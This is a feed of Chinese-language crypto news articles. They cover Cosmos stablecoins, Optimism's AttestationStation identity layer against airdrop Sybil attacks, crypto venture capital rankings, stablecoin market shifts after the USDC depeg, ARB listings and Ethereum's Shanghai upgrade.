Cosmos被称为“区块链的互联网”，通过IBC协议实现区块链的互联，使得不同区块链之间可以进行资产转移，提高了区块链的可互操作性和可扩展性。在Cosmos生态中，稳定币是众多项目关注的重点，Inter Protocol的IST作为其中的一种，将为跨链生态系统提供更加稳定和可靠的价值交换工具。 由于 Cosmos 生态系统内互操作性的增长和改善，将对 Inter Protocol 产生溢出效应。随着越来越多的协议使用 Cosmos SDK 建立起来，并利用 IBC 来实现互操作性，Inter Protocol能够与之互动的协议数量也会增加。通过其他协议，与其他区块链的跨链桥桥接将继续增加对更多链的支持，并允许支持的链之间进行互动。整体流动性和潜在用户数量的增加对Inter Protocol有很大的好处。不仅 Cosmos上的应用程序会被更频繁地使用，Inter Protocol稳定币也会被更频繁地使用。 Curve 这样的协议正在引领我们进入 DeFi 的下一个重大范式转变。具体来说，DeFi 协议开始认识到他们需要控制稳定币发行、流动性系统和借贷市场。Frax和Aave紧随其后。随着越来越多的协议试图解决三位一体问题，差异化因素将不再是协议的最终商业模式，而是它用来达到这种最终形式的起点。与MakerDAO相比，Curve和Aave拥有更强的品牌效应和团队实力，因此其稳定币的发展前景更加广阔。 目前稳定币的需求主要分为三类：作为价值储存工具、用于交易和使用的稳定币，以及不想与法币稳定币产生关系的人。与此同时，实物资产的应用在算法稳定币中仍然存在着很多的问题和挑战，如实物资产的扩展性和风险等方面。与此同时，许多稳定币项目更加关注稳定币的价格稳定机制和去中心化程度，而忽视了真正被用户使用的产品市场适配度。这也是许多稳定币项目的难点所在。总结来看，笔者未来更看好以下4个方向的算法稳定币协议： 那么有没有一种可能，某个算法稳定币协议集齐了以上所有的特征？可惜的是，笔者目前还没有看到这样的项目。算法稳定币需要有一套有效且可靠的算法设计，能够在各种市场情况下保持价格稳定且保证不会出现失控或崩盘等极端情况。广大且忠诚的用户群体，能够支持其经济模型并为其提供足够的需求和流动性。同时，一个强大且创新的生态系统，能够与其他链上或链下服务集成并提供更多的使用场景和价值创造。这时，抵押资产是否多元化反而不那么重要，笔者更看重价值网络和挂钩资产的健康度。 算法稳定币的兴起有其自身逻辑和背景，但这并不意味着它们能够完全代替中心化稳定币，特别是在大规模应用中。因此，算法稳定币可能需要在保证安全的前提下，寻找一种更加高效、可扩展的解决方案。此外，USDC等以美元抵押为基础的稳定币在目前的市场中仍然占据着主要地位，因为它们的发行商有一定的法律监管和经济实力，能够为用户提供更加可靠的担保。对于那些希望避免法律监管和中心化风险的用户来说，算法稳定币仍然是一种有价值的选择。但是，我们需要承认它们的局限性，同时积极探索更加创新的解决方案，以推动整个DeFi产业的发展。  ( 18 min )
    一文详解Optimism身份层AttestationStation
    撰文：LeftOfCenter 对 Web2 最为常见的一种批评是，用户对参与贡献的网络或平台没有所有权，Web3 提供了一种替代的、基于社区的所有权模型，而 Token 是这种新范式的关键部分。 「将 Token 作为奖励分配给社区/平台中贡献最多的活跃用户」，已成为加密行业中的一个广泛共识，很多平台都采用这种方式分配 Token，通过将初始发行的 Token/奖励以空投形式分配给在特定时间内使用该平台的用户，并希望以此和社区中的贡献者以及活跃用户保持长期利益上的一致。 然而，在去中心化的语境中，哪些钱包账号是活跃用户是一件难以定义的事情，但可以肯定的是，存在大量的空投猎人钱包，这些钱包除了参与空投相关的操作外没有其他交互记录，这就是我们所说的女巫攻击。 女巫攻击（Sybil Attack）是指在一个网络系统中创建多个不同的假身份进行操纵的行为，这会让网络中的少数参与者获得本不属于自己的影响力额度。区块链上的 POS 和工作证明机制提供了一种抗女巫攻击的方案，由于会产生经济成本，让这些机制可防止单个用户启动大量节点来影响网络。 目前阶段，空投猎人成为女巫攻击的一种新形式，这些账号通过有目的地与智能合约和协议交互，以猎取大量的空投 Token 份额。 在 Web3 中创建一个新身份就像生成私钥一样简单，通过将资金发送到多个不同的钱包中仅需少量 gas 费，这让空投猎人的成本几乎为零。随着交易费用的降低，女巫攻击将会更加猛烈。 大量空投猎人的存在让许多去中心化应用不得不直面这样一个问题，即空投机制的简单设计可能行不通，如果不加筛选地将大量 Token 分配给空投猎取的机器人，许多用户在收到奖励后立即套现，让 Token 价格在短期内暴跌。 在以单个钱包地址衡量项目真实需求行不通的情况下，对于项目方来说，至少需要排除一个地址是机器人的可能性有多大，从而可将这些地址排除在白名单之外。 为了证明账户的行为不是机器人所为，最简单的一种方式是通过第三方进行身份验证（Identity validation），比如通过验证电话号码、信用卡、驾照、银行账户或身份证以证明自己的身份，然而，这种中心化 KYC 显然是违背 Web3 精神的。 这就需要以一种新的去中心化 KYC 方式，在不牺牲隐私和去中心化的情况下证明你的真实身份，即「你是你」的证明，这就是 AttestationStation 想要实现的功能。 AttestationStation 是一个部署在 Optimism 上的无需允许的声誉智能合约，它允许用户对任意链上地址生成一条 attestation，在该系统中被称为是一条 attestation，多条 Attestation 构成了链上地址的社交关系图谱。 那么，attestation 是什么呢？ Attestation 其实就是对任何事情发起任意评论，比如，「他叫 Robert Paulson」就是日常生活中常见的一类 Attestation，可以证明某人的身份。当我们登录电子邮件帐户时，必须输入密码来进行 Attestation，证明自己的数字身份。 在区块链中，对应的证明方式是私钥，比如，当你签署一笔交易时，通过私钥签名，证明你是钱包中资产的所有者。查看一个用户的链上交易记录，可以发现，本质上，这类操作是对一个智能合约发起相应的证明。 在加密行业这种新的场景中，一个钱包的所有链上记录构成了该用户所有信任的基础，可以证明「你就是你」，并且可在区块链上以一种可验证的方式显示「你」的链上历史。 AttestationStation 系统中，一个 attestation 可以是对一个特定的地址打一个「信任分数」，可以是提供任何「定性」或定量的声明。比如，一个人参加了治理、进行了捐赠，参与了线下的会议，被朋友 Attestation 的社交关系证明等都可以作为一种声明方式。 特性 AttestationStation 是一种去中心化、点对点、多信源、模块化的链上关系图谱，随着积累得越来越多的数据、样本和不断迭代的算法，可对用户地址进行定性分析，基于不同算法提炼出更加精准的用户画像。 AttestationStation 采用零知识证明构建，零知识证明允许用户在不提供完整身份的情况下证明一件事的真实性，这意味着可在无需透露隐私的情况下证明「你是你」，隐私权是加密行业的基石，这当然是必然的选择。 AttestationStation 并不是由单一实体拥有的用户数据和身份，而是由网络构成的节点互相验证的点对点网络。 在一个中心化的系统中，身份服务拥有用户的身份属性 每一条 Attestation 都是一个链上地址对另一个链上地址签署的证明，每一次签署都会在该网络中生成一条新的连接（技术上讲是一个有向图谱），这构成了一个由匿名节点互相验证的、点对点的社交网络，比如 zain.eth 发起一个 attest 证明「kathy.eth 是 ta 的同事」，而 kathy.eth 则发起一个 attest 证明「will.eth 是其朋友」... 去中心化身份图谱需不同的参与者参与证明 传统的验证方式是单点信源，比如一个视频电话、一个电子邮件，这很容易伪造，AttestationStation 采用多点信源交互验证，多点信源构成的一个人的数字身份更加安全，伪造难度更大。 通过以上这些来自不同维度的多点信源数据图谱，可以展示出一个人与世界的关系，包括一个人以往参加过的活动、友邻关系、工作经历、体验、技能和参与过的黑客松等活动，通过对这些关系的数据进行定量和定性分析，就可为每一个钱包地址生成相应的信任分数值。 对于一个特定的钱包地址来说，一旦基于该地址存在多个来自不同维度的社交关系的证明（这个证明不仅是交易，还包括他参与过的活动、元宇宙足迹、收藏的 NFT、参与的社区以及在社区中的活跃程度、参与的线上治理等活动），那么，开发者就可基于不同的算法从中提取出更多信息，对该地址执行颗粒度更细的用户画像分析，而不仅仅是前文我们提到的「筛选一个地址是不是机器人账户」这样的基础判断。 无论是为空投筛选忠诚用户、获得市场真实需求数据，甚至是寻找特定 vibe 属性的社区玩家，都可以通过在该数据图谱中提取数据洞察，让有不同应用需求的项目方受益匪浅。 AttestationStation 从一开始就采用了一种点对点的方式打造一个去中心化、无需允许的开放身份数据图谱。因此，所有来自用户提交的 Attestations 均属于链上证明，可以被多种智能合约在不同的应用中调用。 对于开发者来说，可从 AttestationStation 中调取 p2p 验证图谱，对数据集运行计算，派生出身份集模块，并在实际中进行应用，并基于结果迭代改进。 模块化的 AttestationStation，允许其数据集被任意组合、提取和复用，基于实际效果迭代和重新组合。随着算法不断演化，可衍生出更大的信任网络，建立一个完全点对点的可信中立声誉系统。值得注意的是，随着信任网络累积网络效应，女巫攻击会变得越来越困难，这意味着抗女巫成本将会变得越来越低。 AttestationStation 的诞生源于 Optimism 对去中心化治理的直接需求，即希望将广泛的社区和群体纳入到 Optimism 公共事务治理中来，让 OP Token 持有人之外有资格参与「什么是对 Optimism 的公共事务有利的」的治理和对话。 Optimism 认为，如果简单粗暴地将公众治理权等同于 Token 所有权，最后的结果就是那些持有最多 Token 的人成为占据绝对话语权和治理权的人，其决策无法代表大众的意志，最终导致财阀政治（plutocratic）。 为了抑制这种财阀政治，Optimism 成立了公共组织 Optimism Collective，该组织包括「OP 持有人」（OP Holders）和「公民之家」（OP Citizens' House）。对于「OP 持有人」（OP Holders），主要采用「一币一票」或者将投票权委托给其他人的代理投票模式，Token 投票代表的是资本的偏好，而另一部分「公民之家」则主要负责对 RetroPGF 投票，奉行的是「一人一票」的投票原则。 值得一提的是，Optimism 发起的这个名为 RetroPGF 的追溯性公共产品融资计划，将会成为其实践「impact = profit」理念的实验场。该理念认为，对集体组织的积极影响的个体应该获得利润作为奖励，这样，整个集体才能从整体上受益，打造一个在经济上可循环、多样化的生态系统。 根据该计划，RetroPGF 会在未来开展多轮追溯性融资分配计划，将 RetroPGF 中的资金分配给在 Optimism 生态中打造公共产品的项目方。Optimism 将 OP 初始供应的 20% 分配给了 RetroPGF，其他收入来源包括重新部署 Optimism 协议产生的部分利润，以及其他项目方的捐赠。 「如何分配这些资金，分配多少资金就成了重中之重」，这将由公民之家「Citizens' House」的成员投票决定，目前，第一轮 RetroPGF 已通过公民之家的成员投票向 58 个开源软件项目分配了 100 万美元的资金，第二轮 RetroPGF目前正在进行中，RetroPGF 2 将分配 1000 万枚 OP token 资助支持 OP Stack 开发和相关用例的公共产品。 Optimism Collective 的另一重要组成部分「OP 持有人」则可对 Optimism 基金会（Optimism Foundation）创始文件更改拥有否决权，Optimism 认为，这种结构性的治理系统，可实现平衡短期激励与长期愿景的目标。 不过，在区块链中，这种「一人一票」的机制也很容易造假，毕竟创建一个新钱包作为身份没有任何成本，这就需要一个去中心化的身份系统。 这就是在 Optimism 上部署 AttestationStation 的原因，通过允许任何人对其他地址进行任意证明，从而可为一个特定链上地址分配一个信任分数，衡量一个该地址的真实社交关系（影响力）。 AttestationStation 的目标是为了打造一个强大的声誉系统，这将成为链上去财阀政治和最大化反应人类公共利益的关键。正如基于 token 的治理系统（一币一票）反映了 token 持有者的偏好一样，基于声誉的治理系统则代表了广大公民个体（一人一票）的声音。 短期来看，AttestationStation 可作为一个身份原语解决加密行业中目前最大的困扰——大规模的女巫攻击。通过筛选出机器人地址，AttestationStation 最直接的作用是帮助项目方识别出真实用户，一个简单的用例是使用开放、无需许可的抗女巫攻击 API 来剔除女巫账号。进一步则可获得更加有效的指标来衡量真实用户需求、空投的转化率等。 假身份问题并不仅发生在加密行业中，在互联网中，也充斥着大量的虚假账户，其影响波及数十亿人，这类账号不仅传播假消息，甚至影响政治舆论的走向，比如，总统选举中机器人被用来干预舆论走向。 长远来看，当 AttestationStation 中的数据源积累到足够多，可形成一个可衡量链上用户的身份数据层，构建多种抗女巫攻击的应用，比如，链上信用评分/非足额抵押（under collateralized）借贷应用。 当然，一个多样化程度和数据足够丰富的声誉系统应该不仅仅是关乎交易，而应该涉及作为一个人的更广泛的链上信息，包括 ta 参加过的活动，去过哪些地方，参与了哪些社区活动，持有了哪些 NFT，治理参与和活跃程度等等，这些数据都可以被用来进行定性分析，获得深度、多维度的用户兴趣/vibe 图谱洞察等。 当然，以上这些应用是否能奏效全取决于未来该数据图谱库中是否能够积累充足的验证数据，以及这些数据如何被开发者使用和实践，最终在实际案例中产生了哪些实际效果。 因此，为该协议引入足够的开发者或者说项目方十分关键，目前在该协议上创建的有： 身份预言机 Clique 目前已基于该协议开发了一款基于零知识证明的保护隐私的身份验证应用，该应用允许用户在 OP's Discord 使用 zk 证明自己的用户组身份，而无需透露自己的 Discord ID。 Flipsidecrypto发起基于 AttestationStation 的链上分数，此外，AttestationStation 将会和Gitcoin Passport,Guild,nxyz,Otterspace,Trust Protocol, andWonderverse等团队合作一起打造基于这个声誉生态系统。 Optimism 官方推出的自定义图像 NFT 项目也基于 AttestationStation 开发。 在 ETHDenver 2023 黑客松上，基于 AttestationStation 打造应用是本届黑客松唯一的主题，足以看出 Optimism 非常重视 Attestation 的开发者生态。 另一方面，为了打造一个丰富数据源的身份图谱，需要来自大量用户的数据验证输入，如何激励普通用户加入进行 attest 是一个至关重要的问题，一个可能的选择是，Optimism 第三轮空投激励将会和 AttestationStation 生态相关的应用交互挂钩。 根据 @oplabspbc 创建的 dashboard，目前 AttestationStation 上已经产生 54 万证明，由 513 名用户提供，这说明单个地址活跃度较高。 根据排行榜，目前为止由 Clique 产生的证明数据最多，总量为 69,000 个地址，占比 60% 以上，大部分的证明数据都是围绕 Twitter 和 Discord 进行操作。 女巫攻击和抗女巫解决方案注定将是一场斗智斗勇的博弈之战。为防止机器人滥用，Arbitrum 实行了初步的女巫地址排查，Optimism 删除了 17,000 个疑似女巫攻击者的地址。 随着越来越多的项目方意识到简单空投机制对项目增长没有好处，简单粗暴的空投发放机制将逐渐被淘汰，取而代之的是呈现多轮次和 quest 化的新一代空投激励策略，可以预见的是，未来的空投将不仅仅关乎交易量这类定量的数据，还会出现定性的数据分析，比如基于社区贡献值对用户进行分层筛选，甚至从兴趣/vibe 图谱切入对目标用户进行更精准的用户画像分析，这类数据分析在模块化和算法的加持下有利于群体智慧的发挥。 在加密系统中打造一种无需信任的身份系统，无论是应用于 DeFi 借贷还是推进加密行业向长期主义和有机增长进化，都是至关重要的一环，今天我们看到不同的解决方案出炉，无论是灵魂绑定还是 DID 都是为了解决这个问题，但无论机制设计得多么好，愿景多么远大，都不是成功的关键，能否吸引足够多的用户加入贡献数据才是。以博弈激励机制见长且以打造以太坊可持续发展未来为目标的 Optimism，在即将第三轮空投中，是否会将 AttestationStation 数据贡献和空投任务挂钩，以及如何设置相关权重才是这个博弈游戏中的另一方「空投猎人」需要思考的问题。   参考来源： https://www.youtube.com/watch?v=o0N1Z9AyrEM https://dev.optimism.io/making-blockchains-human-friendly/ https://community.optimism.io/docs/governance/citizens-house/#how-retropgf-works https://community.optimism.io/docs/governance/attestation-station/# https://twitter.com/binji_x/status/1630597351231606785  ( 6 min )
    Tether于波场网络增发10亿枚USDT
    PANews 3月21日消息，Whale Alert数据显示，稳定币发行商Tether于北京时间3月21日17:59:27在波场网络增发10亿枚USDT。本次增发将用于下一次发行请求和链上交互。 Tether首席技术官Paolo Ardoino补充表示，这是一笔在波场网络已授权但未发行的交易，意味着本次增发将用于下一次发行请求和链上交互。  ( 4 min )
    2023年全球Web3基金榜单：资本总额为839亿美元，中美成主要玩家
    撰写：《The Crypto VC List - 2023》by Ryan Allis，iContact、Hive和Coinstack创始人 编译：深潮 TechFlow 继 Coinstack 备受欢迎的 2022 年加密货币风险投资公司名单发布之后，上周制作了以下报告，对全球顶尖 300 家加密货币风险投资基金进行排名。本文将按照以下分类进行讨论： 让我们从一些总结数据开始： 这意味着即使在我们处于最低的熊市时刻，风险投资公司每个工作日仍会投资超过 2500 万美元于加密/区块链公司股权（目前大约每个工作日投资 4500 万美元）。这甚至还不计算风险投资公司对代币的投资。 如果放眼更广阔的视野，与四年前的同期（2019 年 1 月/2 月）持平，在当前（2023 年 1 月/2 月）正在向公司投资的风险投资资本比先前的熊市时期高出 3.1 倍。 因此，即使目前市场处于熊市状态，资本流动仍然是上一次的 3 倍。数字资产行业正在成熟，并且我们看到更多机构资本留在这个行业。这是一个重大事件。 与过去的经济衰退相比，加密货币风险投资资本市场不仅幸存，而且正在蓬勃发展，并准备在 2024/2025 年迎来强劲回归。 随着我们为 2024 年 4 月的比特币减半和可能导致的 2025 年加密货币牛市做好准备，我们开始拐点进入加密货币风险投资领域。我们行业中的好时光通常每四年出现一次，大约持续 18 个月。 现在是为下一轮牛市做准备的时候了。 在某个时间点（如果历史已经指导我，我预计将在 2024 年 12 月/2025 年 1 月左右），比特币将再次超过 69,000 美元，以太坊将超过 4,800 美元-当前部门中的资本配置者将看起来非常聪明。他们在其他人逃跑的时候涌入，意识到智能合约、分布式账本、始终开放的市场和代币化金融资产是全球金融未来的基础技术。 最聪明的风险投资公司正在押注现在，因为估值被打折——并且在市场噪音中，在 Web3、Gamefi、DeFi、基础设施和 DLT 等投资主题上都进行了持续的投资。 哪些以加密货币为重点的风险投资公司最大？哪些最积极地在后 Terra/Three Arrows/Celsius/FTX 事件中进行投资呢？ 但在过去 12 个月里，哪些公司在新的加密货币 VC 投资领域处于领先地位呢？ 让我们深入分析并进行全面排名。 下表是通过我们自己的研究以及结合来自 Pitchbook、Crunchbase、AUM13F 和公司网站的数据来源编制的。当公司投资区块链/加密货币以外的领域时，我们只包括尽可能专注于加密货币领域的投资和基金。 以下是按基金规模排名的前 50 家公司。根据我们的研究，有 19 家加密货币风险投资公司将 10 亿美元或更多资金专门用于加密货币投资。 排名前 50 的加密货币风险投资基金所管理的总资本为 596 亿美元。这些资金在地理上分布在哪里？让我们看一下按公司总部分配的资本： 旧金山湾区在排名前 50 的全球加密货币风险投资公司中占据了 45.2%的市场份额，管理着超过 260 亿美元的资本，几乎等于其他全球城市的总和。 美国在加密货币风险投资领域占据主导地位，至少在按基金规模排名前 50 的公司中是如此。 按投资数量排名的 50 家顶级加密货币风险投资公司 现在让我们按它们对加密货币/区块链领域所作的所有投资数量来排名顶级加密货币风险投资公司。这将展现出排名前 50 的完全不同的画面。 最后，让我们通过过去 12 个月内加密货币投资的数量来看整体加密货币投资。这告诉我们目前谁正在积极活跃，而不是在 2018-2021 年期间活跃的公司，以及谁可能特别愿意进行种子期/早期阶段的交易。 当我们统计数据时，我们发现以下情况。 整体加密 VC 部门健康 根据 Pitchbook 的数据，2022 年是加密货币/区块链风险投资史上最大的一年，新投资了超过 262 亿美元，仅略高于 2021 年的 251 亿美元。让我们看一下部分图表。 然而，从 Pitchbook 的季度数据来看，情况又不同。2022 年第一季度的活动达到了峰值，新投资了略高于 110 亿美元的资本，而第四季度仅为 25 亿美元。 2023 年第一季度的新投资额预计约为 18 亿美元，这是自 2020 年第四季度以来最低的数字。 然而，根据 2023 年 2 月相对于 1 月的大幅增长，看起来我们现在已经扭转了局面，随着我们进入 2023 年第二季度，趋势正在回升。明智的公司现在正在进行下一个周期的赌注。 从退出策略来看，2021 年和 2022 年分别有约 70 个主要加密货币风险投资股权退出（更不用提所有代币投资所带来的流动性）。虽然 2023 年的退出策略有所下降，但长期趋势是明显的。这个行业将会持续存在。 我们目前看到的是哪一轮估值？ 最后，我们将介绍种子轮和 A 轮加密货币风险投资领域的中位预估估值。以下是当前（从 2023 年 1 月 1 日至 3 月 16 日）种子轮、A 轮和 B 轮交易的中位估值。 种子交易估值 在加密货币行业，种子轮交易的估值和筹资金额如何随着时间的推移而发展？ 正如下面所示，2023 年的中位种子轮筹资额为 300 万美元，预估前置估值为 2280 万美元，其中估值范围从 1100 万美元到 4300 万美元。 有趣的是，根据 Pitchbook 的数据，目前种子轮的平均估值实际上比 2022 年还要高，但完成的交易数量要少于 2022 年的平均水平约 50%。根据我们自己的经验，大多数加密货币领域的无营收种子轮交易预估前置估值在 1000 万到 2000 万美元之间——因此，可能 Pitchbook 对于 23 年迄今为止的加密货币公司种子轮估值存在数据集限制。 A 轮交易估值 加密货币行业的 A 轮交易的估值和筹资金额如何随着时间发展？ 2023 年的中位 A 轮筹资额为 970 万美元，预估前置估值为 9000 万美元，其中估值范围从 5500 万美元到 1.15 亿美元。这些 A 轮交易往往是分配给年收入在 100 万到 1000 万美元之间、已实现产品市场契合并在当前经济低迷期间逐月增长的公司的。 B 轮交易估值 加密货币行业的 B 轮交易的估值和筹资金额如何随着时间发展？ 2023 年的中位 B 轮筹资额为 5500 万美元，预估前置估值为 7.4 亿美元，高于 2022 年的 2.95 亿美元。2023 年仅完成了少数（9 个）B 轮交易，因此随着更多的交易完成，这个数字可能会下降。2022 年 25-75%的分位值为 1.5 亿美元至 12.5 亿美元。  ( 6 min )
    数据复盘USDC危机后的稳定币市场：稳定币购买力跌至短期低点
    受到合作银行倒闭的影响，近期美元稳定币USDC面临流动性危机。根据CoinGecko的数据，USDC在3月11日的价格最低跌至0.8788美元，日跌幅超过12%。同时，USDC脱锚还造成接受其作为质押资产的其他稳定币，如DAI和FRAX等也经历了不同程度的脱锚。 尽管USDC的危机在3月13日已经得以解除。但是作为曾经最受信赖的稳定币，USDC此次脱锚仍然给稳定币市场带来了诸多变化和思考。中心化的法币稳定币脱锚是否给了其他类型的稳定币“可乘之机”？市场中的稳定币流动性是有所下降还是有所上升？危机发生时稳定币主要流向哪里？PAData分析了稳定币的基本概况和市场数据（3月11-18日）后发现： USDC脱锚致使其本身和其他稳定币的市值出现明显波动。仅从11日的市值较10日的环比变化来看，可以发现主要稳定币跌多涨少。此次多米诺骨牌中倒下的“第一张牌”USDC的市值下跌了2.5%，但受到更大影响是SUSD、DOLA、MAI和USTC，市值跌幅在2.8%-5.0%之间，除此之外ALUSD、BUSD、FRAX、MIM、USDJ和FPI的市值也有所下跌，但跌幅不大。另外9种稳定币在当天的市值反而有所上涨，其中涨幅最大的是USDP，环比上涨超11%。其次，DAI、FLEXUSD、LUSD、TUSD的涨幅在1.0%-3.5%之间。 18日的市值较11日变化大多延续了11日的环比变化，比如USDT、TUSD、DAI、LUSD这4种稳定币18日的市值较11日继续上涨，其中涨幅最高的是TUSD，超过了54%，USDT也上涨超6%。而USDC、BUSD、MIM、SUSD、DOLA、USDX、ALUSD这7种稳定币18日的市值较11日继续下跌，其中跌幅最高的是MIM，超过了17%，USDC也下跌超过14%。除此之外，还有一些市值在危机后转升为跌的稳定币，比如USDP、GUSD、FLEXUSD、USDD。 从这两个时间段各类型稳定币的平均市值变化来看，USDC的危机并没有造成法币稳定币的集体崩盘，反而无论是在11日较10日的市值变化中，还是在18日较11日的市值变化中，6种法币稳定币的平均市值都是上涨的，平均涨幅分别为1.83%和2.41%。可见市场对法币稳定币的信心仍然比较坚挺。 但是，USDC的危机缺持续利空了基于加密资产的稳定币尤其是抵押品中包含USDC的稳定币，无论是在11日较10日的市值变化中，还是在18日较11日的市值变化中，9种基于加密资产的稳定币的平均市值全部下跌，平均跌幅分别为0.74%和1.42%。 另外，算法稳定币在此次危机中表现出了一定的弹性能力，尽管在11日较10日的市值变化中，4种算法稳定币的市值平均下跌了1.26%，同期平均跌幅最大。但在18日较11日的市值变化中，市值平均上涨了2.82%，同期平均涨幅也最大。 根据DefiLlama的数据，目前市场中已经超过100种稳定币，总市值约1333.88亿美元。截至3月18日，USDT依然是稳定币“龙头”，市值约为767.4亿美元。其次是USDC，市值约为360.3亿美元。两者合计总市值1127.64亿美元，约占稳定币总市值的85%。经过此次危机后，USDC当前市值约为USDT的47%，不到一半。 可见这仍然是一个“二八效应”明显的市场，因此PAData接下来将只聚焦当前市值最高的20种稳定币进行进一步分析。 在这些主要稳定币中，除了USDT和USDC以外，目前市值超过10亿美元的稳定币还有BUSD、DAI、TUSD、DAI和FRAX，其市值分别约占稳定币总市值的6.22%、4.08%、1.53%和0.78%。另外，市值超过1亿美元的稳定币包括USDP、USDD、GUSD、LUSD、USTC、MIM、SUSD，其他稳定币的市值则在4800万美元至8800万美元之间。 从稳定币类型来看，这些主要稳定币分属四大类，分别是法币稳定币（fiat-backed）、基于加密资产的稳定币（crypto-backed）、算法稳定币（algorithmic）、加密资产抵押和算法的混合稳定币（hybrid）。 目前，市值最高的仍然是法币稳定币，但高市值的稳定币中，数量最多的却是基于加密资产抵押的稳定币，一共有9种。不过，基于加密资产的稳定币通常都接受法币稳定币作为抵押资产，从这种意义上来说，这两种类型的稳定币是同源的。 另外一个新景象是，除了Ethereum仍然是包括USDC、DAI、FTAX等多种主要稳定币在内的主链（即市值最大的链）以外，其他多条公链上也出现了市值较大的稳定币。比如受到手续费影响，Tron已经超越Ethereum成为USDT的主链，同时Tron还是TUSD、USDD、USDJ的主链。另外，Optimism、Polygon、Kava上也都有市值较大的稳定币。稳定币作为流动性的媒介，越来越多的出现在不同公链上，对不同公链的DeFi发展而言有着积极意义。 区块链分析公司Chainalysis在16日发表博客文章称，当市场动荡时，中心化交易所的资金外流通常会激增，因为用户可能担心在交易所倒闭时无法使用他们的资金。根据CryptoQuant对交易所稳定币存量的监测来看，确实印证了这种说法。 根据统计，3月18日交易所稳定币存量约为214.61亿美元，较3月11日USDC脱锚当天的241.20亿美元下跌了11.02%，外流速度较快。不过，有意思的是，11日交易所稳定币存量较10日上涨了3.49%，即增加了8.14亿美元。这可能与用户在11日为避险，而在交易所进行稳定发表兑换有关。 另外，此次稳定币危机还影响了稳定币的购买力。稳定币供应指数（Stablecoin Supply Ratio，SSR）是衡量市场潜在购买力的一个常用指标，指BTC市值相对于所有稳定币总市值的比率，SSR越低意味着稳定币供应越充分，潜在的购买压力越强，价格越可能上涨。 截至3月18日，SSR大约为4，处于布林线（200，2）上轨附近，且较11日的3.08大约上升了30%，近期上升明显。这与近期BTC价格回升有关，在资产价格短期较快上升的情况下，稳定币市值因脱锚危机反而整体下降，所以SSR表现为小幅上升，实际购买力下降。这为市场回归牛市带来了更多不确定性。 危机之下，不仅交易所中稳定币大量流出，而且与稳定币交易密切相关的3个DeFi协议，Uniswapv3、Curve和AAVE v2中稳定币锁仓量也有所下降，但幅度要小很多。根据统计，13种主要稳定币在3个DeFi中的总锁仓量从11号的34.64亿美元下跌至18号的32.97亿美元，跌幅约为4.83%。 其中有一些稳定币的锁仓量18日较11日的变化值得关注，比如此期间，USDT在3个DeFi协议中的锁仓量都大幅上升，最高在Uniswapv3中上升超94%，最低在Curve中也上升近40%。而USDC的锁仓量则在Uniswapv3和Curve均有所下跌，且跌幅不小。 另外，FRAX、TUSD、SUSD、LUSD、MIM、USDD、MAI的锁仓量在这3个协议中全部下跌，FRAX和TUSD在AAVE v2中的锁仓量下跌超70%。相反，法币稳定币BUSD和GUSD的锁仓量则在上升。 从DEX中各稳定币交易对的类型能更准确地捕捉到近期稳定币在DeFi中的流向。3月11日，DEX中稳定币交易对（stable-stable）的交易总额达到了231.7亿美元，远超本月初日均10亿美元左右的规模。而且，当天稳定币与其他代币交易对（stable-alts）的交易总额也达到了79.9亿美元，同样创造了一个小高峰。 总体而言，USDC脱锚后，稳定币之间的交易变得极为活跃。如果进一步观察主要稳定币的稳定币交易对的交易量，可以看到，11日USDC稳定币交易对的交易量达到104.3亿美元，而USDT达到了85.1亿美元，DAI约为37.1亿美元。有理由推测，这3种稳定币之间的交易构成了危机下稳定币在DeFi中的主要流动路径。 这与Chainalysis早前发表的观点是一致的，DEX上USDC的购买量激增是由于对法币稳定币的信心，一些用户在USDC相对便宜的时候买入，并押注它会重新与美元锚定。 USDC脱锚后对借贷市场的存借款利率也均有较大影响，其中，USDC和DAI的存借款利率走势基本类似“V”型，即借款需求与存款规模变化相当或更小，但相对而言波动都不大。而USDT、TUSD、GUSD、LUSD、SUSD的存借款利率走势则基本类似“Λ”型，即危机发生时，借款需求变化大于存款规模变化，流动性相对不足。不过，目前借贷市场的存借款利率均已恢复至月初水平。 稳定币是加密世界与法币之间最主要的一座“桥梁”，而其中与现实世界联系越密切的“组件”，比如受监管的美元稳定币，越有可能成为系统的脆弱点。不过，正因为如此，其抵抗风险的能力比纯粹建立在加密世界中的上层资产要更强，因为中心化的管理能更有效的牵制这种风险，就像USDC因SVB接受多方注资而化险为夷一样，这是用户对受监管的法币稳定币的信心来源，同样也是稳定币越来越被监管当局关注的原因。  ( 4 min )
    PA图说 | 各交易所开放$ARB充值及交易时间表
    Layer 2 项目 Arbitrum 将于 3 月 23 日向其社区成员空投代码为 ARB 的治理代币。空投将占代币总供应量的 12.75%，代币将分发给在过去一年中使用过该网络的人。一览各交易所开放$ARB充值及交易时间表。  ( 4 min )
    数据解析：以太坊能否平稳迎接4月12日的“上海升级”？
    通缩模型提供价格支撑 自合并以来，ETH总供应量已经减少66000多枚，当前供应量为1.204亿枚，年通胀率为-0.109%。 近期对ETH销毁贡献最大的应用包括Uniswap、Tether和最近被炒作的Blur Airdrop和Arbitrum，引发了以太坊网络活动的激增。 按照当前速度，到2025年，ETH供应量预计将降到1.181亿。总体而言，只要以太坊网络在Defi和NFT生态系统保持主导地位，以太坊通缩的经济模型将会持续为ETH价格提供强大的支撑。 目前，约有1761万枚ETH参与了以太坊PoS质押（占目前ETH总流通量的14.67％），活跃的验证者超过了55万个。 为了使“上海升级”顺利完成，近期，拥有最多的验证器且最紧密地模仿了以太坊区块链的Goerli测试网模拟了“上海升级”，以便开发人员可以在部署升级之前修补潜在的漏洞。根据多个以太坊核心开发人员的说法，某些运行较旧版本的客户端的验证器引起了短暂的延迟。但是，这些验证器迅速加入，从而使测试网成功执行了升级。 根据以太坊核心开发人员透露的最新消息，以太坊网络将在4月12日完成“上海升级”，届时以太坊网络将通过Capella对信标链共识层进行升级，引入与验证提取器相关的功能，允许质押者提取锁定的ETH。 为了使“上海升级”平稳进行，以太坊基金会引入了可以防止ETH供应在短期内大量泛滥到市场的机制：这和当前的抵押规模有关，每天允许的撤回数量约5.76万枚ETH，仅占ETH质押总量约0.3~0.4％，因此被提取出来的ETH在短时间造成的抛压相对可以预判。验证者选择退出质押之后，将进入可能持续数周或数月的撤回期。 不过需要注意的是，以太坊过年两年的共识层利息，并不需要遵循5.76万枚的上限，这带来了另一层隐含抛压。 Glassnode数据表明，3月14日，以太坊非零地址数量达到了95,474,490的历史峰值，这表明以太坊网络的基本面良好，用户仍在继续扩张。 